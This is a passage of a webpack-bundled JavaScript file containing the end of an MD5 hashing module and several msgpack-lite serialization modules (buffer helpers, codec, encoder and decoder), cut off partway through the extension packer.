                                m[i] = ((m[i] <<  8) | (m[i] >>> 24)) & 0x00FF00FF |
                                    ((m[i] << 24) | (m[i] >>>  8)) & 0xFF00FF00;
                            }

                            // Padding
                            m[l >>> 5] |= 0x80 << (l % 32);
                            m[(((l + 64) >>> 9) << 4) + 14] = l;

                            // Method shortcuts
                            var FF = md5._ff,
                                GG = md5._gg,
                                HH = md5._hh,
                                II = md5._ii;

                            for (var i = 0; i < m.length; i += 16) {

                                var aa = a,
                                    bb = b,
                                    cc = c,
                                    dd = d;

                                a = FF(a, b, c, d, m[i+ 0],  7, -680876936);
                                d = FF(d, a, b, c, m[i+ 1], 12, -389564586);
                                c = FF(c, d, a, b, m[i+ 2], 17,  606105819);
                                b = FF(b, c, d, a, m[i+ 3], 22, -1044525330);
                                a = FF(a, b, c, d, m[i+ 4],  7, -176418897);
                                d = FF(d, a, b, c, m[i+ 5], 12,  1200080426);
                                c = FF(c, d, a, b, m[i+ 6], 17, -1473231341);
                                b = FF(b, c, d, a, m[i+ 7], 22, -45705983);
                                a = FF(a, b, c, d, m[i+ 8],  7,  1770035416);
                                d = FF(d, a, b, c, m[i+ 9], 12, -1958414417);
                                c = FF(c, d, a, b, m[i+10], 17, -42063);
                                b = FF(b, c, d, a, m[i+11], 22, -1990404162);
                                a = FF(a, b, c, d, m[i+12],  7,  1804603682);
                                d = FF(d, a, b, c, m[i+13], 12, -40341101);
                                c = FF(c, d, a, b, m[i+14], 17, -1502002290);
                                b = FF(b, c, d, a, m[i+15], 22,  1236535329);

                                a = GG(a, b, c, d, m[i+ 1],  5, -165796510);
                                d = GG(d, a, b, c, m[i+ 6],  9, -1069501632);
                                c = GG(c, d, a, b, m[i+11], 14,  643717713);
                                b = GG(b, c, d, a, m[i+ 0], 20, -373897302);
                                a = GG(a, b, c, d, m[i+ 5],  5, -701558691);
                                d = GG(d, a, b, c, m[i+10],  9,  38016083);
                                c = GG(c, d, a, b, m[i+15], 14, -660478335);
                                b = GG(b, c, d, a, m[i+ 4], 20, -405537848);
                                a = GG(a, b, c, d, m[i+ 9],  5,  568446438);
                                d = GG(d, a, b, c, m[i+14],  9, -1019803690);
                                c = GG(c, d, a, b, m[i+ 3], 14, -187363961);
                                b = GG(b, c, d, a, m[i+ 8], 20,  1163531501);
                                a = GG(a, b, c, d, m[i+13],  5, -1444681467);
                                d = GG(d, a, b, c, m[i+ 2],  9, -51403784);
                                c = GG(c, d, a, b, m[i+ 7], 14,  1735328473);
                                b = GG(b, c, d, a, m[i+12], 20, -1926607734);

                                a = HH(a, b, c, d, m[i+ 5],  4, -378558);
                                d = HH(d, a, b, c, m[i+ 8], 11, -2022574463);
                                c = HH(c, d, a, b, m[i+11], 16,  1839030562);
                                b = HH(b, c, d, a, m[i+14], 23, -35309556);
                                a = HH(a, b, c, d, m[i+ 1],  4, -1530992060);
                                d = HH(d, a, b, c, m[i+ 4], 11,  1272893353);
                                c = HH(c, d, a, b, m[i+ 7], 16, -155497632);
                                b = HH(b, c, d, a, m[i+10], 23, -1094730640);
                                a = HH(a, b, c, d, m[i+13],  4,  681279174);
                                d = HH(d, a, b, c, m[i+ 0], 11, -358537222);
                                c = HH(c, d, a, b, m[i+ 3], 16, -722521979);
                                b = HH(b, c, d, a, m[i+ 6], 23,  76029189);
                                a = HH(a, b, c, d, m[i+ 9],  4, -640364487);
                                d = HH(d, a, b, c, m[i+12], 11, -421815835);
                                c = HH(c, d, a, b, m[i+15], 16,  530742520);
                                b = HH(b, c, d, a, m[i+ 2], 23, -995338651);

                                a = II(a, b, c, d, m[i+ 0],  6, -198630844);
                                d = II(d, a, b, c, m[i+ 7], 10,  1126891415);
                                c = II(c, d, a, b, m[i+14], 15, -1416354905);
                                b = II(b, c, d, a, m[i+ 5], 21, -57434055);
                                a = II(a, b, c, d, m[i+12],  6,  1700485571);
                                d = II(d, a, b, c, m[i+ 3], 10, -1894986606);
                                c = II(c, d, a, b, m[i+10], 15, -1051523);
                                b = II(b, c, d, a, m[i+ 1], 21, -2054922799);
                                a = II(a, b, c, d, m[i+ 8],  6,  1873313359);
                                d = II(d, a, b, c, m[i+15], 10, -30611744);
                                c = II(c, d, a, b, m[i+ 6], 15, -1560198380);
                                b = II(b, c, d, a, m[i+13], 21,  1309151649);
                                a = II(a, b, c, d, m[i+ 4],  6, -145523070);
                                d = II(d, a, b, c, m[i+11], 10, -1120210379);
                                c = II(c, d, a, b, m[i+ 2], 15,  718787259);
                                b = II(b, c, d, a, m[i+ 9], 21, -343485551);

                                a = (a + aa) >>> 0;
                                b = (b + bb) >>> 0;
                                c = (c + cc) >>> 0;
                                d = (d + dd) >>> 0;
                            }

                            return crypt.endian([a, b, c, d]);
                        };

                    // Auxiliary functions
                    md5._ff  = function (a, b, c, d, x, s, t) {
                        var n = a + (b & c | ~b & d) + (x >>> 0) + t;
                        return ((n << s) | (n >>> (32 - s))) + b;
                    };
                    md5._gg  = function (a, b, c, d, x, s, t) {
                        var n = a + (b & d | c & ~d) + (x >>> 0) + t;
                        return ((n << s) | (n >>> (32 - s))) + b;
                    };
                    md5._hh  = function (a, b, c, d, x, s, t) {
                        var n = a + (b ^ c ^ d) + (x >>> 0) + t;
                        return ((n << s) | (n >>> (32 - s))) + b;
                    };
                    md5._ii  = function (a, b, c, d, x, s, t) {
                        var n = a + (c ^ (b | ~d)) + (x >>> 0) + t;
                        return ((n << s) | (n >>> (32 - s))) + b;
                    };

                    // Package private blocksize
                    md5._blocksize = 16;
                    md5._digestsize = 16;

                    module.exports = function (message, options) {
                        if (message === undefined || message === null)
                            throw new Error('Illegal argument ' + message);

                        var digestbytes = crypt.wordsToBytes(md5(message, options));
                        return options && options.asBytes ? digestbytes :
                        options && options.asString ? bin.bytesToString(digestbytes) :
                        crypt.bytesToHex(digestbytes);
                    };

                })();


                /***/ }),

            /***/ "./node_modules/msgpack-lite/lib/browser.js":
            /*!**************************************************!*\
      !*** ./node_modules/msgpack-lite/lib/browser.js ***!
      \**************************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                // browser.js

                exports.encode = __webpack_require__(/*! ./encode */ "./node_modules/msgpack-lite/lib/encode.js").encode;
                exports.decode = __webpack_require__(/*! ./decode */ "./node_modules/msgpack-lite/lib/decode.js").decode;

                exports.Encoder = __webpack_require__(/*! ./encoder */ "./node_modules/msgpack-lite/lib/encoder.js").Encoder;
                exports.Decoder = __webpack_require__(/*! ./decoder */ "./node_modules/msgpack-lite/lib/decoder.js").Decoder;

                exports.createCodec = __webpack_require__(/*! ./ext */ "./node_modules/msgpack-lite/lib/ext.js").createCodec;
                exports.codec = __webpack_require__(/*! ./codec */ "./node_modules/msgpack-lite/lib/codec.js").codec;


                /***/ }),

            /***/ "./node_modules/msgpack-lite/lib/buffer-global.js":
            /*!********************************************************!*\
      !*** ./node_modules/msgpack-lite/lib/buffer-global.js ***!
      \********************************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                /* WEBPACK VAR INJECTION */(function(Buffer) {/* globals Buffer */

                    module.exports =
                        c(("undefined" !== typeof Buffer) && Buffer) ||
                        c(this.Buffer) ||
                        c(("undefined" !== typeof window) && window.Buffer) ||
                        this.Buffer;

                    function c(B) {
                        return B && B.isBuffer && B;
                    }
                    /* WEBPACK VAR INJECTION */}.call(this, __webpack_require__(/*! ./../../buffer/index.js */ "./node_modules/buffer/index.js").Buffer))

                /***/ }),

            /***/ "./node_modules/msgpack-lite/lib/buffer-lite.js":
            /*!******************************************************!*\
      !*** ./node_modules/msgpack-lite/lib/buffer-lite.js ***!
      \******************************************************/
            /*! no static exports found */
            /***/ (function(module, exports) {

                // buffer-lite.js

                var MAXBUFLEN = 8192;

                exports.copy = copy;
                exports.toString = toString;
                exports.write = write;

                /**
     * Buffer.prototype.write()
     *
     * @param string {String}
     * @param [offset] {Number}
     * @returns {Number}
     */

                function write(string, offset) {
                    var buffer = this;
                    var index = offset || (offset |= 0);
                    var length = string.length;
                    var chr = 0;
                    var i = 0;
                    while (i < length) {
                        chr = string.charCodeAt(i++);

                        if (chr < 128) {
                            buffer[index++] = chr;
                        } else if (chr < 0x800) {
                            // 2 bytes
                            buffer[index++] = 0xC0 | (chr >>> 6);
                            buffer[index++] = 0x80 | (chr & 0x3F);
                        } else if (chr < 0xD800 || chr > 0xDFFF) {
                            // 3 bytes
                            buffer[index++] = 0xE0 | (chr  >>> 12);
                            buffer[index++] = 0x80 | ((chr >>> 6)  & 0x3F);
                            buffer[index++] = 0x80 | (chr          & 0x3F);
                        } else {
                            // 4 bytes - surrogate pair
                            chr = (((chr - 0xD800) << 10) | (string.charCodeAt(i++) - 0xDC00)) + 0x10000;
                            buffer[index++] = 0xF0 | (chr >>> 18);
                            buffer[index++] = 0x80 | ((chr >>> 12) & 0x3F);
                            buffer[index++] = 0x80 | ((chr >>> 6)  & 0x3F);
                            buffer[index++] = 0x80 | (chr          & 0x3F);
                        }
                    }
                    return index - offset;
                }

                /**
     * Buffer.prototype.toString()
     *
     * @param [encoding] {String} ignored
     * @param [start] {Number}
     * @param [end] {Number}
     * @returns {String}
     */

                function toString(encoding, start, end) {
                    var buffer = this;
                    var index = start|0;
                    if (!end) end = buffer.length;
                    var string = '';
                    var chr = 0;

                    while (index < end) {
                        chr = buffer[index++];
                        if (chr < 128) {
                            string += String.fromCharCode(chr);
                            continue;
                        }

                        if ((chr & 0xE0) === 0xC0) {
                            // 2 bytes
                            chr = (chr & 0x1F) << 6 |
                                (buffer[index++] & 0x3F);

                        } else if ((chr & 0xF0) === 0xE0) {
                            // 3 bytes
                            chr = (chr & 0x0F)             << 12 |
                                (buffer[index++] & 0x3F) << 6  |
                                (buffer[index++] & 0x3F);

                        } else if ((chr & 0xF8) === 0xF0) {
                            // 4 bytes
                            chr = (chr & 0x07)             << 18 |
                                (buffer[index++] & 0x3F) << 12 |
                                (buffer[index++] & 0x3F) << 6  |
                                (buffer[index++] & 0x3F);
                        }

                        if (chr >= 0x010000) {
                            // A surrogate pair
                            chr -= 0x010000;

                            string += String.fromCharCode((chr >>> 10) + 0xD800, (chr & 0x3FF) + 0xDC00);
                        } else {
                            string += String.fromCharCode(chr);
                        }
                    }

                    return string;
                }

                /**
     * Buffer.prototype.copy()
     *
     * @param target {Buffer}
     * @param [targetStart] {Number}
     * @param [start] {Number}
     * @param [end] {Number}
     * @returns {number}
     */

                function copy(target, targetStart, start, end) {
                    var i;
                    if (!start) start = 0;
                    if (!end && end !== 0) end = this.length;
                    if (!targetStart) targetStart = 0;
                    var len = end - start;

                    if (target === this && start < targetStart && targetStart < end) {
                        // descending
                        for (i = len - 1; i >= 0; i--) {
                            target[i + targetStart] = this[i + start];
                        }
                    } else {
                        // ascending
                        for (i = 0; i < len; i++) {
                            target[i + targetStart] = this[i + start];
                        }
                    }

                    return len;
                }


                /***/ }),

            /***/ "./node_modules/msgpack-lite/lib/bufferish-array.js":
            /*!**********************************************************!*\
      !*** ./node_modules/msgpack-lite/lib/bufferish-array.js ***!
      \**********************************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                // bufferish-array.js

                var Bufferish = __webpack_require__(/*! ./bufferish */ "./node_modules/msgpack-lite/lib/bufferish.js");

                var exports = module.exports = alloc(0);

                exports.alloc = alloc;
                exports.concat = Bufferish.concat;
                exports.from = from;

                /**
     * @param size {Number}
     * @returns {Buffer|Uint8Array|Array}
     */

                function alloc(size) {
                    return new Array(size);
                }

                /**
     * @param value {Array|ArrayBuffer|Buffer|String}
     * @returns {Array}
     */

                function from(value) {
                    if (!Bufferish.isBuffer(value) && Bufferish.isView(value)) {
                        // TypedArray to Uint8Array
                        value = Bufferish.Uint8Array.from(value);
                    } else if (Bufferish.isArrayBuffer(value)) {
                        // ArrayBuffer to Uint8Array
                        value = new Uint8Array(value);
                    } else if (typeof value === "string") {
                        // String to Array
                        return Bufferish.from.call(exports, value);
                    } else if (typeof value === "number") {
                        throw new TypeError('"value" argument must not be a number');
                    }

                    // Array-like to Array
                    return Array.prototype.slice.call(value);
                }


                /***/ }),

            /***/ "./node_modules/msgpack-lite/lib/bufferish-buffer.js":
            /*!***********************************************************!*\
      !*** ./node_modules/msgpack-lite/lib/bufferish-buffer.js ***!
      \***********************************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                // bufferish-buffer.js

                var Bufferish = __webpack_require__(/*! ./bufferish */ "./node_modules/msgpack-lite/lib/bufferish.js");
                var Buffer = Bufferish.global;

                var exports = module.exports = Bufferish.hasBuffer ? alloc(0) : [];

                exports.alloc = Bufferish.hasBuffer && Buffer.alloc || alloc;
                exports.concat = Bufferish.concat;
                exports.from = from;

                /**
     * @param size {Number}
     * @returns {Buffer|Uint8Array|Array}
     */

                function alloc(size) {
                    return new Buffer(size);
                }

                /**
     * @param value {Array|ArrayBuffer|Buffer|String}
     * @returns {Buffer}
     */

                function from(value) {
                    if (!Bufferish.isBuffer(value) && Bufferish.isView(value)) {
                        // TypedArray to Uint8Array
                        value = Bufferish.Uint8Array.from(value);
                    } else if (Bufferish.isArrayBuffer(value)) {
                        // ArrayBuffer to Uint8Array
                        value = new Uint8Array(value);
                    } else if (typeof value === "string") {
                        // String to Buffer
                        return Bufferish.from.call(exports, value);
                    } else if (typeof value === "number") {
                        throw new TypeError('"value" argument must not be a number');
                    }

                    // Array-like to Buffer
                    if (Buffer.from && Buffer.from.length !== 1) {
                        return Buffer.from(value); // node v6+
                    } else {
                        return new Buffer(value); // node v4
                    }
                }


                /***/ }),

            /***/ "./node_modules/msgpack-lite/lib/bufferish-proto.js":
            /*!**********************************************************!*\
      !*** ./node_modules/msgpack-lite/lib/bufferish-proto.js ***!
      \**********************************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                // bufferish-proto.js

                /* jshint eqnull:true */

                var BufferLite = __webpack_require__(/*! ./buffer-lite */ "./node_modules/msgpack-lite/lib/buffer-lite.js");

                exports.copy = copy;
                exports.slice = slice;
                exports.toString = toString;
                exports.write = gen("write");

                var Bufferish = __webpack_require__(/*! ./bufferish */ "./node_modules/msgpack-lite/lib/bufferish.js");
                var Buffer = Bufferish.global;

                var isBufferShim = Bufferish.hasBuffer && ("TYPED_ARRAY_SUPPORT" in Buffer);
                var brokenTypedArray = isBufferShim && !Buffer.TYPED_ARRAY_SUPPORT;

                /**
     * @param target {Buffer|Uint8Array|Array}
     * @param [targetStart] {Number}
     * @param [start] {Number}
     * @param [end] {Number}
     * @returns {Buffer|Uint8Array|Array}
     */

                function copy(target, targetStart, start, end) {
                    var thisIsBuffer = Bufferish.isBuffer(this);
                    var targetIsBuffer = Bufferish.isBuffer(target);
                    if (thisIsBuffer && targetIsBuffer) {
                        // Buffer to Buffer
                        return this.copy(target, targetStart, start, end);
                    } else if (!brokenTypedArray && !thisIsBuffer && !targetIsBuffer &&
                               Bufferish.isView(this) && Bufferish.isView(target)) {
                        // Uint8Array to Uint8Array (except for minor some browsers)
                        var buffer = (start || end != null) ? slice.call(this, start, end) : this;
                        target.set(buffer, targetStart);
                        return buffer.length;
                    } else {
                        // other cases
                        return BufferLite.copy.call(this, target, targetStart, start, end);
                    }
                }

                /**
     * @param [start] {Number}
     * @param [end] {Number}
     * @returns {Buffer|Uint8Array|Array}
     */

                function slice(start, end) {
                    // for Buffer, Uint8Array (except for minor some browsers) and Array
                    var f = this.slice || (!brokenTypedArray && this.subarray);
                    if (f) return f.call(this, start, end);

                    // Uint8Array (for minor some browsers)
                    var target = Bufferish.alloc.call(this, end - start);
                    copy.call(this, target, 0, start, end);
                    return target;
                }

                /**
     * Buffer.prototype.toString()
     *
     * @param [encoding] {String} ignored
     * @param [start] {Number}
     * @param [end] {Number}
     * @returns {String}
     */

                function toString(encoding, start, end) {
                    var f = (!isBufferShim && Bufferish.isBuffer(this)) ? this.toString : BufferLite.toString;
                    return f.apply(this, arguments);
                }

                /**
     * @private
     */

                function gen(method) {
                    return wrap;

                    function wrap() {
                        var f = this[method] || BufferLite[method];
                        return f.apply(this, arguments);
                    }
                }


                /***/ }),

            /***/ "./node_modules/msgpack-lite/lib/bufferish-uint8array.js":
            /*!***************************************************************!*\
      !*** ./node_modules/msgpack-lite/lib/bufferish-uint8array.js ***!
      \***************************************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                // bufferish-uint8array.js

                var Bufferish = __webpack_require__(/*! ./bufferish */ "./node_modules/msgpack-lite/lib/bufferish.js");

                var exports = module.exports = Bufferish.hasArrayBuffer ? alloc(0) : [];

                exports.alloc = alloc;
                exports.concat = Bufferish.concat;
                exports.from = from;

                /**
     * @param size {Number}
     * @returns {Buffer|Uint8Array|Array}
     */

                function alloc(size) {
                    return new Uint8Array(size);
                }

                /**
     * @param value {Array|ArrayBuffer|Buffer|String}
     * @returns {Uint8Array}
     */

                function from(value) {
                    if (Bufferish.isView(value)) {
                        // TypedArray to ArrayBuffer
                        var byteOffset = value.byteOffset;
                        var byteLength = value.byteLength;
                        value = value.buffer;
                        if (value.byteLength !== byteLength) {
                            if (value.slice) {
                                value = value.slice(byteOffset, byteOffset + byteLength);
                            } else {
                                // Android 4.1 does not have ArrayBuffer.prototype.slice
                                value = new Uint8Array(value);
                                if (value.byteLength !== byteLength) {
                                    // TypedArray to ArrayBuffer to Uint8Array to Array
                                    value = Array.prototype.slice.call(value, byteOffset, byteOffset + byteLength);
                                }
                            }
                        }
                    } else if (typeof value === "string") {
                        // String to Uint8Array
                        return Bufferish.from.call(exports, value);
                    } else if (typeof value === "number") {
                        throw new TypeError('"value" argument must not be a number');
                    }

                    return new Uint8Array(value);
                }


                /***/ }),

            /***/ "./node_modules/msgpack-lite/lib/bufferish.js":
            /*!****************************************************!*\
      !*** ./node_modules/msgpack-lite/lib/bufferish.js ***!
      \****************************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                // bufferish.js

                var Buffer = exports.global = __webpack_require__(/*! ./buffer-global */ "./node_modules/msgpack-lite/lib/buffer-global.js");
                var hasBuffer = exports.hasBuffer = Buffer && !!Buffer.isBuffer;
                var hasArrayBuffer = exports.hasArrayBuffer = ("undefined" !== typeof ArrayBuffer);

                var isArray = exports.isArray = __webpack_require__(/*! isarray */ "./node_modules/msgpack-lite/node_modules/isarray/index.js");
                exports.isArrayBuffer = hasArrayBuffer ? isArrayBuffer : _false;
                var isBuffer = exports.isBuffer = hasBuffer ? Buffer.isBuffer : _false;
                var isView = exports.isView = hasArrayBuffer ? (ArrayBuffer.isView || _is("ArrayBuffer", "buffer")) : _false;

                exports.alloc = alloc;
                exports.concat = concat;
                exports.from = from;

                var BufferArray = exports.Array = __webpack_require__(/*! ./bufferish-array */ "./node_modules/msgpack-lite/lib/bufferish-array.js");
                var BufferBuffer = exports.Buffer = __webpack_require__(/*! ./bufferish-buffer */ "./node_modules/msgpack-lite/lib/bufferish-buffer.js");
                var BufferUint8Array = exports.Uint8Array = __webpack_require__(/*! ./bufferish-uint8array */ "./node_modules/msgpack-lite/lib/bufferish-uint8array.js");
                var BufferProto = exports.prototype = __webpack_require__(/*! ./bufferish-proto */ "./node_modules/msgpack-lite/lib/bufferish-proto.js");

                /**
     * @param value {Array|ArrayBuffer|Buffer|String}
     * @returns {Buffer|Uint8Array|Array}
     */

                function from(value) {
                    if (typeof value === "string") {
                        return fromString.call(this, value);
                    } else {
                        return auto(this).from(value);
                    }
                }

                /**
     * @param size {Number}
     * @returns {Buffer|Uint8Array|Array}
     */

                function alloc(size) {
                    return auto(this).alloc(size);
                }

                /**
     * @param list {Array} array of (Buffer|Uint8Array|Array)s
     * @param [length]
     * @returns {Buffer|Uint8Array|Array}
     */

                function concat(list, length) {
                    if (!length) {
                        length = 0;
                        Array.prototype.forEach.call(list, dryrun);
                    }
                    var ref = (this !== exports) && this || list[0];
                    var result = alloc.call(ref, length);
                    var offset = 0;
                    Array.prototype.forEach.call(list, append);
                    return result;

                    function dryrun(buffer) {
                        length += buffer.length;
                    }

                    function append(buffer) {
                        offset += BufferProto.copy.call(buffer, result, offset);
                    }
                }

                var _isArrayBuffer = _is("ArrayBuffer");

                function isArrayBuffer(value) {
                    return (value instanceof ArrayBuffer) || _isArrayBuffer(value);
                }

                /**
     * @private
     */

                function fromString(value) {
                    var expected = value.length * 3;
                    var that = alloc.call(this, expected);
                    var actual = BufferProto.write.call(that, value);
                    if (expected !== actual) {
                        that = BufferProto.slice.call(that, 0, actual);
                    }
                    return that;
                }

                function auto(that) {
                    return isBuffer(that) ? BufferBuffer
                    : isView(that) ? BufferUint8Array
                    : isArray(that) ? BufferArray
                    : hasBuffer ? BufferBuffer
                    : hasArrayBuffer ? BufferUint8Array
                    : BufferArray;
                }

                function _false() {
                    return false;
                }

                function _is(name, key) {
                    /* jshint eqnull:true */
                    name = "[object " + name + "]";
                    return function(value) {
                        return (value != null) && {}.toString.call(key ? value[key] : value) === name;
                    };
                }

                /***/ }),

            /***/ "./node_modules/msgpack-lite/lib/codec-base.js":
            /*!*****************************************************!*\
      !*** ./node_modules/msgpack-lite/lib/codec-base.js ***!
      \*****************************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                // codec-base.js

                var IS_ARRAY = __webpack_require__(/*! isarray */ "./node_modules/msgpack-lite/node_modules/isarray/index.js");

                exports.createCodec = createCodec;
                exports.install = install;
                exports.filter = filter;

                var Bufferish = __webpack_require__(/*! ./bufferish */ "./node_modules/msgpack-lite/lib/bufferish.js");

                function Codec(options) {
                    if (!(this instanceof Codec)) return new Codec(options);
                    this.options = options;
                    this.init();
                }

                Codec.prototype.init = function() {
                    var options = this.options;

                    if (options && options.uint8array) {
                        this.bufferish = Bufferish.Uint8Array;
                    }

                    return this;
                };

                function install(props) {
                    for (var key in props) {
                        Codec.prototype[key] = add(Codec.prototype[key], props[key]);
                    }
                }

                function add(a, b) {
                    return (a && b) ? ab : (a || b);

                    function ab() {
                        a.apply(this, arguments);
                        return b.apply(this, arguments);
                    }
                }

                function join(filters) {
                    filters = filters.slice();

                    return function(value) {
                        return filters.reduce(iterator, value);
                    };

                    function iterator(value, filter) {
                        return filter(value);
                    }
                }

                function filter(filter) {
                    return IS_ARRAY(filter) ? join(filter) : filter;
                }

                // @public
                // msgpack.createCodec()

                function createCodec(options) {
                    return new Codec(options);
                }

                // default shared codec

                exports.preset = createCodec({preset: true});


                /***/ }),

            /***/ "./node_modules/msgpack-lite/lib/codec.js":
            /*!************************************************!*\
      !*** ./node_modules/msgpack-lite/lib/codec.js ***!
      \************************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                // codec.js

                // load both interfaces
                __webpack_require__(/*! ./read-core */ "./node_modules/msgpack-lite/lib/read-core.js");
                __webpack_require__(/*! ./write-core */ "./node_modules/msgpack-lite/lib/write-core.js");

                // @public
                // msgpack.codec.preset

                exports.codec = {
                    preset: __webpack_require__(/*! ./codec-base */ "./node_modules/msgpack-lite/lib/codec-base.js").preset
                };


                /***/ }),

            /***/ "./node_modules/msgpack-lite/lib/decode-buffer.js":
            /*!********************************************************!*\
      !*** ./node_modules/msgpack-lite/lib/decode-buffer.js ***!
      \********************************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                // decode-buffer.js

                exports.DecodeBuffer = DecodeBuffer;

                var preset = __webpack_require__(/*! ./read-core */ "./node_modules/msgpack-lite/lib/read-core.js").preset;

                var FlexDecoder = __webpack_require__(/*! ./flex-buffer */ "./node_modules/msgpack-lite/lib/flex-buffer.js").FlexDecoder;

                FlexDecoder.mixin(DecodeBuffer.prototype);

                function DecodeBuffer(options) {
                    if (!(this instanceof DecodeBuffer)) return new DecodeBuffer(options);

                    if (options) {
                        this.options = options;
                        if (options.codec) {
                            var codec = this.codec = options.codec;
                            if (codec.bufferish) this.bufferish = codec.bufferish;
                        }
                    }
                }

                DecodeBuffer.prototype.codec = preset;

                DecodeBuffer.prototype.fetch = function() {
                    return this.codec.decode(this);
                };


                /***/ }),

            /***/ "./node_modules/msgpack-lite/lib/decode.js":
            /*!*************************************************!*\
      !*** ./node_modules/msgpack-lite/lib/decode.js ***!
      \*************************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                // decode.js

                exports.decode = decode;

                var DecodeBuffer = __webpack_require__(/*! ./decode-buffer */ "./node_modules/msgpack-lite/lib/decode-buffer.js").DecodeBuffer;

                function decode(input, options) {
                    var decoder = new DecodeBuffer(options);
                    decoder.write(input);
                    return decoder.read();
                }

                /***/ }),

            /***/ "./node_modules/msgpack-lite/lib/decoder.js":
            /*!**************************************************!*\
      !*** ./node_modules/msgpack-lite/lib/decoder.js ***!
      \**************************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                // decoder.js

                exports.Decoder = Decoder;

                var EventLite = __webpack_require__(/*! event-lite */ "./node_modules/event-lite/event-lite.js");
                var DecodeBuffer = __webpack_require__(/*! ./decode-buffer */ "./node_modules/msgpack-lite/lib/decode-buffer.js").DecodeBuffer;

                function Decoder(options) {
                    if (!(this instanceof Decoder)) return new Decoder(options);
                    DecodeBuffer.call(this, options);
                }

                Decoder.prototype = new DecodeBuffer();

                EventLite.mixin(Decoder.prototype);

                Decoder.prototype.decode = function(chunk) {
                    if (arguments.length) this.write(chunk);
                    this.flush();
                };

                Decoder.prototype.push = function(chunk) {
                    this.emit("data", chunk);
                };

                Decoder.prototype.end = function(chunk) {
                    this.decode(chunk);
                    this.emit("end");
                };


                /***/ }),

            /***/ "./node_modules/msgpack-lite/lib/encode-buffer.js":
            /*!********************************************************!*\
      !*** ./node_modules/msgpack-lite/lib/encode-buffer.js ***!
      \********************************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                // encode-buffer.js

                exports.EncodeBuffer = EncodeBuffer;

                var preset = __webpack_require__(/*! ./write-core */ "./node_modules/msgpack-lite/lib/write-core.js").preset;

                var FlexEncoder = __webpack_require__(/*! ./flex-buffer */ "./node_modules/msgpack-lite/lib/flex-buffer.js").FlexEncoder;

                FlexEncoder.mixin(EncodeBuffer.prototype);

                function EncodeBuffer(options) {
                    if (!(this instanceof EncodeBuffer)) return new EncodeBuffer(options);

                    if (options) {
                        this.options = options;
                        if (options.codec) {
                            var codec = this.codec = options.codec;
                            if (codec.bufferish) this.bufferish = codec.bufferish;
                        }
                    }
                }

                EncodeBuffer.prototype.codec = preset;

                EncodeBuffer.prototype.write = function(input) {
                    this.codec.encode(this, input);
                };


                /***/ }),

            /***/ "./node_modules/msgpack-lite/lib/encode.js":
            /*!*************************************************!*\
      !*** ./node_modules/msgpack-lite/lib/encode.js ***!
      \*************************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                // encode.js

                exports.encode = encode;

                var EncodeBuffer = __webpack_require__(/*! ./encode-buffer */ "./node_modules/msgpack-lite/lib/encode-buffer.js").EncodeBuffer;

                function encode(input, options) {
                    var encoder = new EncodeBuffer(options);
                    encoder.write(input);
                    return encoder.read();
                }


                /***/ }),

            /***/ "./node_modules/msgpack-lite/lib/encoder.js":
            /*!**************************************************!*\
      !*** ./node_modules/msgpack-lite/lib/encoder.js ***!
      \**************************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                // encoder.js

                exports.Encoder = Encoder;

                var EventLite = __webpack_require__(/*! event-lite */ "./node_modules/event-lite/event-lite.js");
                var EncodeBuffer = __webpack_require__(/*! ./encode-buffer */ "./node_modules/msgpack-lite/lib/encode-buffer.js").EncodeBuffer;

                function Encoder(options) {
                    if (!(this instanceof Encoder)) return new Encoder(options);
                    EncodeBuffer.call(this, options);
                }

                Encoder.prototype = new EncodeBuffer();

                EventLite.mixin(Encoder.prototype);

                Encoder.prototype.encode = function(chunk) {
                    this.write(chunk);
                    this.emit("data", this.read());
                };

                Encoder.prototype.end = function(chunk) {
                    if (arguments.length) this.encode(chunk);
                    this.flush();
                    this.emit("end");
                };


                /***/ }),

            /***/ "./node_modules/msgpack-lite/lib/ext-buffer.js":
            /*!*****************************************************!*\
      !*** ./node_modules/msgpack-lite/lib/ext-buffer.js ***!
      \*****************************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                // ext-buffer.js

                exports.ExtBuffer = ExtBuffer;

                var Bufferish = __webpack_require__(/*! ./bufferish */ "./node_modules/msgpack-lite/lib/bufferish.js");

                function ExtBuffer(buffer, type) {
                    if (!(this instanceof ExtBuffer)) return new ExtBuffer(buffer, type);
                    this.buffer = Bufferish.from(buffer);
                    this.type = type;
                }


                /***/ }),

            /***/ "./node_modules/msgpack-lite/lib/ext-packer.js":
            /*!*****************************************************!*\
      !*** ./node_modules/msgpack-lite/lib/ext-packer.js ***!
      \*****************************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                // ext-packer.js

                exports.setExtPackers = setExtPackers;

                var Bufferish = __webpack_require__(/*! ./bufferish */ "./node_modules/msgpack-lite/lib/bufferish.js");
                var Buffer = Bufferish.global;
                var packTypedArray = Bufferish.Uint8Array.from;
                var _encode;

                var ERROR_COLUMNS = {name: 1, message: 1, stack: 1, columnNumber: 1, fileName: 1, lineNumber: 1};

                function setExtPackers(codec) {
                    codec.addExtPacker(0x0E, Error, [packError, encode]);
                    codec.addExtPacker(0x01, EvalError, [packError, encode]);
                    codec.addExtPacker(0x02, RangeError, [packError, encode]);
                    codec.addExtPacker(0x03, ReferenceError, [packError, encode]);
                    codec.addExtPacker(0x04, SyntaxError, [packError, encode]);
                    codec.addExtPacker(0x05, TypeError, [packError, encode]);
                    codec.addExtPacker(0x06, URIError, [packError, encode]);

                    codec.addExtPacker(0x0A, RegExp, [packRegExp, encode]);
